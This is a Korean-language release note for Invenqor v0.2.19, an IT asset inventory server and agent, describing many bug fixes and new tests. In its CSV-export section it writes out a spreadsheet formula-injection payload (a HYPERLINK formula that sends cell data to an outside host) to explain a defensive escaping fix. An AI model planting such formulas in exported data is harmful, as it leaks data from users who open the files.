Skip to content

Invenqor v0.2.19

Choose a tag to compare

@hkjang hkjang released this 02 Sep 09:20
· 49 commits to main since this release

Invenqor Server·Agent v0.2.19 릴리즈 노트

릴리즈 일자: 2026-09-02
호환 Agent: v0.2.19 (Linux·Windows)

이번 릴리즈의 결함들은 대부분 소리 없이 틀린 답을 주던 것들입니다. 오류도
경보도 없이 잘못된 행이 조회되고, 없는 명령을 실행하라는 안내가 나가고, 전송이
멈춘 Agent가 스스로를 정상이라고 보고했습니다. 실패는 눈에 띄지만 조용히 틀린
답은 그렇지 않기 때문에, 이번에는 그쪽을 골라 고쳤습니다.

1. 질의의 시간 조건이 데이터베이스 해석에 맡겨져 있었습니다

자산 질의 DSL에서 now - 24h 형태만 실제 시각으로 변환됐고, 나머지 모든 시간
값은 텍스트 그대로 넘어갔습니다.
저장 모드마다 그 텍스트를 다르게 읽습니다.

  • PostgreSQL은 TIMESTAMPTZ로 비교하므로 2026-13-45는 문장 자체가 실패해
    운영자에게 아무것도 지목하지 않는 HTTP 500이 돌아갔고, 반대로 yesterday
    PostgreSQL 고유의 날짜 리터럴로 조용히 받아들여졌습니다.
  • SQLite fallback은 Go의 시각을 텍스트로 기록하므로,
    2026-01-31T09:00:00Z2026-01-31 09:00:00 +0000 UTC와 바이트 단위로
    비교됐습니다. T가 공백보다 뒤에 정렬되므로 그날의 모든 행이 경계의 반대편에
    놓였습니다
    — 오류 없이, 답만 틀린 채로.

이제 시간 조건은 SQL이 실행되기 전에 실제 시각으로 확정됩니다. now,
now - <duration>, 그리고 드라이버가 실제로 생산하는 레이아웃의 절대 시각을
받습니다. 셋 중 어느 것도 아니면 입력값을 그대로 인용해 INVALID_QUERY
거절하므로, 호출자가 오타를 볼 수 있습니다. 검증이 파싱만이 아니라 컴파일까지
수행하므로, 콘솔이 "실행 가능한 식"이라고 표시한 뒤 실행에서 실패하는 일도
없습니다.

이 엔드포인트에는 테스트가 하나도 없었습니다. 새 테스트는 두 저장 모드 모두에서
돌며, SQLite로는 도달할 수 없는 절반을 CI의 PostgreSQL 잡이 잡습니다.

2. 자격 증명이 필요 없는 엔드포인트의 한도가 주소를 영원히 기억했습니다

등록·preflight 엔드포인트는 자격 증명 없이 호출되므로 한도를 출발지 주소로
겁니다. 그런데 항목이 한 번도 제거되지 않았습니다. 몇 달 동안 떠 있는 Server는
지금까지 본 모든 주소에 대해 레코드를 하나씩 들고 있었고, IPv6 /64를 가진 호스트는
운영자가 메모리 증가를 알아차리는 속도보다 빠르게 주소를 소비할 수 있습니다.

창이 지난 카운터는 아무것도 결정하지 않으므로 Allow가 그것들을 쓸어냅니다.
창당 최대 한 번만 도는 방식이라, 서로 다른 키가 몰려 들어와도 그 사이에 맵을 한 번
훑는 비용만 냅니다. 시계를 필드로 빼서 실제 창을 기다리지 않고도 sweep을 시험할 수
있게 했고, 한도 규칙 자체에도 테스트가 없었으므로 그 규칙도 이제 명시돼 있습니다.

3. CSV 내보내기 두 곳이 스프레드시트에 수식을 건넬 수 있었습니다

감사 로그 내보내기는 사용자가 입력하는 두 열을 씁니다 — 모든 변경 작업에
기재하는 사유, 그리고 연합 계정이면 IdP가 claim에 넣은 값인 actor 이름. 자산
내보내기는 자산 키·이름·부서·위치를 씁니다. 여섯 열 모두 가공 없이 파일에
들어갔고, 그 파일은 스프레드시트로 열라고 첨부로 내려보내집니다.

Excel과 LibreOffice는 =, +, -, @로 시작하는 셀을 실행합니다. 즉 사유에

=HYPERLINK("http://elsewhere/"&A1,"open")

를 적어두면, 그 값을 쓴 사람보다 권한이 많은 감사자가 이 제품이 내려받으라고 한
파일을 열 때
실행됩니다.

해당 필드들은 이제 그런 문자로 시작할 때 앞에 작은따옴표를 붙입니다 —
스프레드시트가 원래 텍스트를 보여주고 평가하지는 않는 관례입니다. 더불어 모든 CSV
쓰기의 열을 검사해 이스케이프를 빠뜨린 열을 실패시키는 테스트가 들어갔고, 서버가
정하는 어휘(상태·유형·서식화된 숫자)만 예외 목록으로 둡니다. 존재하는 두 내보내기가
모두 이스케이프 없이 작성됐으니 세 번째도 그럴 것이기 때문입니다.

4. 호출자가 자기 행위에 기록될 request ID를 고를 수 있었습니다

request ID는 감사 추적의 상관 식별자입니다. 모든 감사 레코드와 진단 이벤트에
들어가고, 콘솔이 그것으로 필터링하며, 이번 릴리즈에서 콘솔이 그 값을 보여주고
진단 로그에서 검색하라고 안내하게 됐습니다.

chi의 RequestID는 들어온 X-Request-Id가 있으면 그대로 씁니다. 그래서 감사
레코드의 대상이 자기 식별자를 스스로 정할 수 있었고, 관리자 작업이 이미 쓴
식별자로 맞출 수도 있었습니다
— 그 뒤 그 식별자로 필터링하면 둘 다 나오는데,
그것이 바로 조사에서 던지는 질문입니다. 길이 제한도 없었습니다.

들어온 값을 필요로 하는 곳은 없었습니다. Agent와 콘솔은 응답에서 이 헤더를 읽기만
할 뿐 보내지 않습니다. 이제 ID를 배정하기 전에 버리므로 모든 값이 서버에서
생성됩니다.

5. 배선되지 않은 MCP 도구가 실패 대신 빈 답을 돌려줬습니다

도구 디스패치는 도구 이름에 대한 switch였고 default가 없었습니다. 제공 목록에만
추가되고 case가 없는 도구는 결과도 오류도 없이 빠져나가, isError가 false이고
결과가 null인 채로 보고됐습니다.

모델은 그것을 "그런 자산은 없습니다"로 읽고 질문한 사람에게 그대로 전달합니다.
자산 조회 도구에서 이것은 오류보다 나쁩니다 — 질문에 자신 있게, 그리고 틀리게
답이 나가고, 그 도구가 구현된 적이 없다는 사실은 어디에도 남지 않습니다.

이제 default가 있습니다. 제공되는 모든 도구가 case를 가지는지, 그리고 모두 읽기
scope를 선언하는지 두 테스트가 붙잡습니다. initialise와 discover 모두 이 도구들이
읽기 전용이라고 선언하고 모델이 그 선언에 의존하기 때문입니다.

6. 차단한 Agent가 "조치 필요"에서 영원히 내려오지 않았습니다

Agent 행은 삭제되지 않고, 운영자가 장비를 퇴역시키는 방법은 차단입니다. 그런데
대시보드는 지금까지 기록된 모든 행을 fleet으로 세고 조치 필요를 전체 − 정상으로
구했으며, 정상은 blocked_at IS NULL을 요구했습니다. 1년 전에 폐기하고 차단한
장비가 여전히 조치 필요로 집계됐고
, 데이터베이스가 존재하는 한 계속 그럴
예정이었습니다.

따라오는 결과가 둘입니다. 타일은 오르기만 하므로 장비 교체가 있는 fleet에서는
경고 상태에 영구히 머무는데, 항상 켜진 경고는 아무도 읽지 않습니다. 그리고 이를
정리할 유일한 조작이 아무것도 바꾸지 않으므로, 버튼이 고장 난 것처럼 보입니다.

이제 전체는 보고할 것으로 기대되는 fleet입니다. 릴리즈 분포는 이미 차단되지 않은
Agent만 세고 있었으므로, 같은 기준을 자기만의 기준을 쓰던 한 곳에 맞춘 것입니다.

7. 시각화 페이지 성능, 그리고 첫 마이그레이션이 커넥션 시한에 묶여 있던 문제

추측이 아니라 자산 50만·Agent 1000으로 실제 HTTP 경로를 통해 측정했습니다. 콘솔은
예상보다 잘 버팁니다 — 자산 목록 64ms, 검색은 인덱스가 도울 수 없는 LIKE에도
113–212ms, 질의 DSL 60ms. 시간이 가는 곳은 집계 화면으로, 대시보드 540ms,
시각화 1.8초였습니다.

시각화는 전체 테이블 스캔을 스물한 번쯤 차례로 돕니다. 일곱 개의 차원 카운트를
함께 실행하되 동시 실행을 4로 제한해 한 요청이 풀을 다 쓰지 못하게 했습니다.
번갈아 다섯 번씩 측정해 1677ms 대 1279ms, 다시 1828ms 대 1562ms — 15–25%
개선
이고 두 쌍 모두에서 방향이 일관됩니다. 시도했다가 기각한 것도 코드 옆에
남겼습니다: 일곱 차원에 대한 GROUPING SETS는 빠르지 않고(517ms 대 531ms), 네 개의
뷰 질의를 함께 돌리면 병렬 스캔이 겹치지 않고 경합해 오히려 느려집니다(1.18초 →
1.40초).

별건으로, 접속과 마이그레이션이 5초 시한 하나를 공유하고 있었습니다. 그래서 그보다
오래 걸린 첫 마이그레이션이 실패로 보고되고 Server가 기동을 거부했습니다 — 단지
바쁜 데이터베이스를 두고 crash loop에 빠지는 것입니다. 첫 마이그레이션은 이 제품의
모든 테이블과 인덱스를 만듭니다. 이제 자기 몫의 시한을 따로 가지며, 여전히
유한합니다.

8. Agent: 읽을 수 없는 이벤트 하나가 모든 전송을 영구히 멈췄습니다

전송 큐는 오래된 것부터 비우는데, 파싱에 실패한 이벤트가 파일을 그대로 둔 채 주기
전체를 중단시켰습니다. 다음 주기도 같은 파일에 닿아 같은 방식으로 실패했습니다.
Agent는 그 뒤로 아무것도 전송하지 못하면서 수집은 계속했고, 큐는 막힌 지점 뒤로
쌓여갔습니다.

실제 Server를 상대로 먼저 재현했습니다. 읽을 수 없는 이벤트 하나가 큐에 있으면 세
주기 연속으로 종료 코드 2가 나오고 큐가 2, 3, 4로 늘어납니다. 수정 후 같은 세
주기는 종료 코드 0에 큐가 비고, Server에 인벤토리가 기록됩니다.

읽을 수 없는 이벤트는 격리 디렉터리로 옮겨집니다. 이 디렉터리에도 상한이
필요했습니다 — 이런 이벤트는 하나씩 오지 않고, 자동 업데이트 뒤 이전 버전이 큐에
넣은 이벤트를 새 버전이 읽으면 큐 전체가 한꺼번에 옮겨집니다. 최근 20개만
남기고, --diagnose가 그 위치와 유력한 원인을 함께 보고합니다.

9. Agent: --diagnose가 등록을 계속 거부당한 Agent를 정상이라고 했습니다

상태 디렉터리의 파일을 하나씩 손상시켜 주기를 돌려보고 두 가지를 찾았습니다.

큰 쪽: --diagnose가 매 주기 등록을 거부당하고 한 번도 전송한 적 없는 Agent에
대해 "OK — Agent가 Server에 도달해 등록할 수 있습니다"라고 보고했습니다. 모든
검사가 등록이 가능한지만 물었고 — Server가 응답하는지, 정책이 이 호스트를
허용하는지, 자격 파일이 있는지 — 실제로 됐는지는 아무도 묻지 않았습니다. 이미
등록된 이미지에서 복제된 장비라면 반드시 받게 되는 AGENT_ALREADY_CLAIMED 거부를
당한 Agent가 이 검사들을 영원히 통과합니다. Agent는 그 거부를 Server의 조치 문구와
함께 status.json에 이미 기록하고 있었습니다. 이제 diagnose가 그것을 읽어 실패로
보고하고 1로 종료합니다.

작은 쪽: 이전 인벤토리는 무엇이 바뀌었는지 계산하는 캐시일 뿐인데, 읽을 수 없으면
주기 전체가 끝났습니다. 다음 시작에서 다시 읽으니 이후 모든 시작이 같은 방식으로
끝났습니다 — 손상된 캐시 파일 하나 때문에 아무것도 할 수 없는 Agent를 서비스
관리자가 계속 재시작하는 상태입니다. 이제 이전 인벤토리가 없는 것으로 취급하며,
델타 대신 전체 스냅숏 한 번의 비용을 냅니다.

10. Agent: 죽은 프로세스가 남긴 임시 파일이 이후 모든 쓰기를 막았습니다

CI의 end-to-end 실행이 이렇게 실패했습니다.

create /var/lib/invenqor-agent/last-heartbeat.tmp-1: File exists

상태 저장소가 임시 파일을 프로세스 id로 이름 짓고 create_new로 만들었습니다.
그래서 생성과 rename 사이에 죽은 프로세스가 남긴 임시 파일이, 나중에 같은 id를
받은 어떤 프로세스의 그 경로에 대한 모든 쓰기를 막았습니다.
id가 1부터 시작하고
재사용되는 컨테이너에서는 그 "나중"이 바로 다음 실행입니다. identity, inventory,
status, 자격 증명, 하트비트, 큐 — 14개 호출 지점이 여기를 지납니다.

업데이터에는 이미 결함 없는 판본이 있었습니다. 충돌할 수 없는 이름, 쓰기 실패 시
정리, 전원이 끊겨도 rename이 살아남는 디렉터리 flush. 복사본이 둘이었고 서로 같지
않아서 상태 저장소에는 그중 아무것도 없었던 것입니다. 이제 하나의 모듈이며, 같은
일을 하는 Server의 durablefs를 따라 이름 붙였습니다.

11. Agent: 성공할 수 없는 쓰기가 5초를 기다린 뒤 틀린 원인을 말했습니다

두 개의 원자적 쓰기를 합치면서 상태 저장소가 업데이터의 replace를 갖게 됐는데, 그
구현은 5초에 걸쳐 스무 번 재시도하고 나서 "다른 프로세스가 파일을 열고 있습니다"라고
보고합니다. Windows에서는 그것이 옳은 설명입니다 — 방금 쓴 파일을 인덱서나 스캐너가
잠시 열고 있는 일은 흔하고, 재시도가 되는 쓰기와 안 되는 쓰기를 가릅니다.

rename(2)는 열린 핸들에 상관하지 않으므로 그 밖의 환경에서 실패는 EXDEV, ENOSPC,
EACCES, EROFS이고 어느 것도 5초 뒤에 풀리지 않습니다. 재시도와 그 설명 모두 이제
Windows 전용이며, 다른 곳에서는 실제 오류가 그대로 드러납니다.

12. 안내 문구가 화면에 없는 메뉴와, 존재하지 않는 변수를 가리켰습니다

조치 안내는 이미 곤경에 빠진 사람만 읽습니다. 그래서 틀린 안내는 조언이 없는 것보다
나쁩니다 — 지시를 따랐는데 아무것도 달라지지 않고, 조언이 문제였다는 신호는 어디에도
없습니다. 이번에 정리한 것들입니다.

  • INVENQOR_MASTER_KEY는 존재하지 않는 변수입니다. KEYCLOAK_SECRET_UNREADABLE
    진단이 모든 인스턴스에 이 변수를 같은 값으로 설정하라고 안내했습니다. 실제 변수는
    INVENQOR_MASTER_KEY_FILE이고 키가 아니라 경로를 받습니다. 공유 키 파일
    하나를 가리키는 두 인스턴스가 모두 기동하고 어느 쪽도 자기 master.key를 쓰지
    않는 것을 확인했습니다. 같은 오기가 이미 발간된 v0.2.17 릴리즈 노트에도 있어,
    이전에 무엇이라고 적혀 있었는지를 밝히는 주석과 함께 정정했습니다.
  • 콘솔에 없는 메뉴 이름. "Enable Keycloak login in Settings > Keycloak"의
    Settings는 화면 어디에도 없습니다. 콘솔은 전부 한국어입니다. 모든 경로가 실제로
    렌더링되는 이름과 일치합니다 — 설정 > Keycloak, 설정 > PostgreSQL,
    설정 > Agent 등록, 사용자 화면, Server 진단 로그. 이 안내 표는 이제 콘솔의 언어로
    읽힙니다.
  • Linux에만 있는 경로. Agent가 등록되지 않은 경우를 위해 존재하는 그 화면이
    /var/lib/invenqor-agent/status.json을 보라고 했습니다. Windows에서 그 파일은
    %ProgramData%\Invenqor\state\status.json입니다. 이제 둘 다 이름을 댑니다.
  • Windows Agent에 sudo. 설정 파일을 읽지 못해 기동을 거부하는 경로가 자기
    복사본의 remedy를 들고 sudo·chown·chmod로 고정돼 있었습니다. --diagnose
    쪽에는 Windows에 icacls를 주는 제대로 분기된 판본이 있었습니다. 이제 둘 다
    같은 함수를 호출하며, 두 타깃 모두에서 확인했습니다.
  • 코드 하나에 뜻이 둘. 모든 등록 코드가 요약 문장을 두 벌씩 들고 있었고 이미
    셋이 어긋나 있어서, 같은 실패가 패널과 진단 로그에서 다르게 읽혔습니다. 이제
    한 곳에서만 옵니다.

13. 콘솔: Server가 준 request ID와 조치 문구가 실제로 보입니다

  • Server는 모든 오류 응답에 request ID를 싣고, 콘솔의 안내는 Server 진단 로그에서
    그것을 검색하라고 말합니다. 그런데 콘솔은 한 번도 보여준 적이 없습니다.
    88개 호출부가 전부 (reason as Error).message만 표시했고 APIError를 import하는
    곳은 어디에도 없어서, 실려온 상태 코드와 본문이 수집된 뒤 버려졌습니다. api()에서
    메시지에 덧붙이므로 호출부를 건드리지 않고 전부에 닿습니다. 목 대신 실제로 뜬
    Server를 상대로 확인했습니다.
  • 진단 로그에서 조치 방법이 항목 맨 아래 원본 JSON 덤프 안에만 있었습니다. 가장
    실행 가능한 필드가 가장 눈에 안 띄었던 셈입니다. 이제 Message·Request ID·Agent
    ID·Source IP·Component처럼 자기 행을 가집니다.
  • 아무것도 수집하지 않은 설치에서 일별 수집 차트가 빈 상자를 그렸습니다. 바로 옆
    Breakdown은 같은 상황에서 늘 "집계 데이터가 없습니다"를 보여줬습니다. 이제 차트도
    이유를 말합니다.

검증

  • 콘솔 렌더링 테스트. 콘솔은 5221줄에 테스트 파일 11개였고 그중 하나를 빼면
    전부 순수 함수(기하·서식·파싱)만 다뤘습니다. 컴포넌트를 렌더링하는 것이 거의
    없었는데, 크래시 비용이 가장 큰 곳이 바로 거기입니다 — React가 트리를 내리면
    화면이 비고, 사용자에게는 신고할 메시지조차 남지 않습니다. 시각화 6개 뷰(차트와
    표, 비었을 때와 데이터가 있을 때 24가지), 소프트웨어 인벤토리 9가지, 운영
    컴포넌트, 시스템 정보 탭과 알림 3색이 이제 렌더링됩니다. 마크업이 비어 있지 않을
    것을 요구하는 단언이 12번 항목의 빈 차트를 첫 실행에서 잡았습니다.
  • 빈 설치의 null 배열. Go는 nil 슬라이스를 []가 아니라 null로 마샬링하고,
    콘솔은 이 배열들을 그대로 순회합니다. 새 설치가 처음 닿는 엔드포인트들의 실제
    응답을 걸어 컬렉션을 뜻하는 키에 null이 오면 JSON 경로를 지목해 실패합니다.
  • Agent가 Server로부터 무엇을 받아들이는가. Agent는 systemd에서 root로,
    서비스 관리자에서 SYSTEM으로 돌고 업데이트는 실행하는 바이너리입니다. 경계는
    올바르게 닫혀 있었지만 — 검증 키는 Agent 자신의 설정에서만 옵니다 — 그렇다고
    말하는 테스트가 없었습니다. 두 서명 버전 모두에 대해, Agent가 받은 적 없는 키로
    서명한 업데이트가 거부되는 것을 확인합니다.
  • rollout 범위. 10 대신 1000으로 발행하면 staged rollout이 막으려던 바로 그
    일이 일어납니다. 저장소의 경계 검사가 오타와 fleet 사이에 선 유일한 방어인데
    테스트가 없었습니다. 두 진입 경로 모두, 범위의 양 끝(0은 비상 정지, 100은 전면
    배포)을 포함해 고정했습니다.
  • 실패한 수집기는 제거가 아닙니다. Server는 스냅숏에 없는 자산을 퇴역시키고,
    실패한 수집기는 아무것도 보고하지 않아 그것과 똑같아 보입니다. 둘 사이에 선
    식은 하나 — 모든 수집기가 끝났을 때만 제거를 허용 — 인데 테스트가 없었습니다.
    v0.2.17에서 panic한 수집기를 담아내기로 한 이후 이 경로가 흔한 경로가 됐습니다.
  • 와일드카드 매처 두 벌. 분류기와 소프트웨어 카탈로그가 각자 * 매처를 가집니다.
    둘 다 같은 패턴으로 만든 정규식과 대조합니다. greedy 스캔이 선형성을 지키는데,
    규칙은 운영자가 작성하고 모든 ingest의 모든 자산에 대해 돌기 때문에 backtracking
    매처는 공격자 없이도 서비스 거부입니다. 별 20개와 4000자 패턴도 각각 고정했습니다.

호환성

  • 데이터베이스 마이그레이션이 없습니다.
  • 응답 형식 변경이 없습니다.
  • 질의 DSL의 시간 값 중 이전에 PostgreSQL 고유 리터럴로 우연히 통하던 것들
    (yesterday 등)은 이제 INVALID_QUERY로 거절됩니다. now, now - <duration>,
    절대 시각을 사용하십시오.
  • 요청에 실어 보낸 X-Request-Id는 더 이상 사용되지 않고 Server가 생성한 값으로
    대체됩니다. 응답의 X-Request-Id를 읽는 쪽은 영향이 없습니다.